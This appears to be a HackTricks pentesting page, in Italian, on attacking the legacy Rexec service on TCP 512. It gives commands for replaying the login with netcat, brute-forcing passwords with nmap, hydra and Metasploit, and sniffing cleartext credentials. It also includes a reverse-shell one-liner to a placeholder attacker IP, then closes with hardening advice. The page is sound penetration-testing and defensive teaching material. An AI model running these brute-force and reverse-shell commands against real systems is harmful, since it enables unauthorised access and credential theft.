512 - Pentesting Rexec

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di Base

Rexec (remote exec) è uno dei servizi originali della suite Berkeley r (insieme a rlogin, rsh, …). Fornisce una capacità di esecuzione di comandi remoti autenticata solo con un nome utente e una password in chiaro. Il protocollo è stato definito all'inizio degli anni '80 (vedi RFC 1060) ed è oggi considerato insicuro per design. Tuttavia, è ancora abilitato per impostazione predefinita in alcune attrezzature UNIX legacy / collegate in rete e appare occasionalmente durante i pentest interni.

Porta Predefinita: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Tutto il traffico – comprese le credenziali – viene trasmesso non crittografato. Chiunque abbia la possibilità di sniffare la rete può recuperare il nome utente, la password e il comando.

Panoramica rapida del protocollo

  1. Il client si connette a TCP 512.
  2. Il client invia tre stringhe terminate da NUL:
  • il numero di porta (in ASCII) dove desidera ricevere stdout/stderr (spesso 0),
  • il nome utente,
  • la password.
  1. Viene inviata una stringa finale terminata da NUL con il comando da eseguire.
  2. Il server risponde con un singolo byte di stato a 8 bit (0 = successo, 1 = fallimento) seguito dall'output del comando.

Ciò significa che puoi riprodurre lo scambio con nient'altro che echo -e e nc:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Se le credenziali sono valide, riceverai l'output di id direttamente sulla stessa connessione.

Utilizzo manuale con il client

Molte distribuzioni Linux continuano a includere il client legacy all'interno del pacchetto inetutils-rexec / rsh-client:

bash
rexec -l user -p password <target> "uname -a"

Se -p è omesso, il client chiederà interattivamente la password (visibile sulla rete in chiaro!).


Enumerazione & Brute-forcing

Brute-force

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

Il rexec-brute NSE utilizza il protocollo descritto sopra per provare le credenziali molto rapidamente.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra ha un modulo rexec dedicato ed è il bruteforcer offline più veloce. medusa (-M REXEC) e ncrack (modulo rexec) possono essere utilizzati allo stesso modo.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Il modulo genererà una shell al successo e memorizzerà le credenziali nel database.


Sniffing delle credenziali

Poiché tutto è in chiaro, le catture di rete sono inestimabili. Con una copia del traffico puoi estrarre le credenziali senza toccare il bersaglio:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark abilita Decode As …​ TCP 512 → REXEC per visualizzare i campi ben analizzati.)


Suggerimenti post-sfruttamento

  • I comandi vengono eseguiti con i privilegi dell'utente fornito. Se /etc/pam.d/rexec è configurato in modo errato (ad es. pam_rootok), a volte sono possibili shell di root.
  • Rexec ignora la shell dell'utente ed esegue il comando tramite /bin/sh -c <cmd>. Puoi quindi utilizzare trucchi tipici di escape della shell (;, $( ), backticks) per concatenare più comandi o generare shell inverse:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Le password sono spesso memorizzate in ~/.netrc su altri sistemi; se comprometti un host, puoi riutilizzarle per il movimento laterale.

Indurimento / Rilevamento

  • Non esporre rexec; sostituiscilo con SSH. Praticamente tutti i moderni inetd superserver commentano il servizio per impostazione predefinita.
  • Se devi mantenerlo, limita l'accesso con TCP wrappers (/etc/hosts.allow) o regole del firewall e applica password forti per ogni account.
  • Monitora il traffico verso :512 e per i lanci del processo rexecd. Una singola cattura di pacchetti è sufficiente per rilevare una compromissione.
  • Disabilita rexec, rlogin, rsh insieme – condividono gran parte dello stesso codice e delle vulnerabilità.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks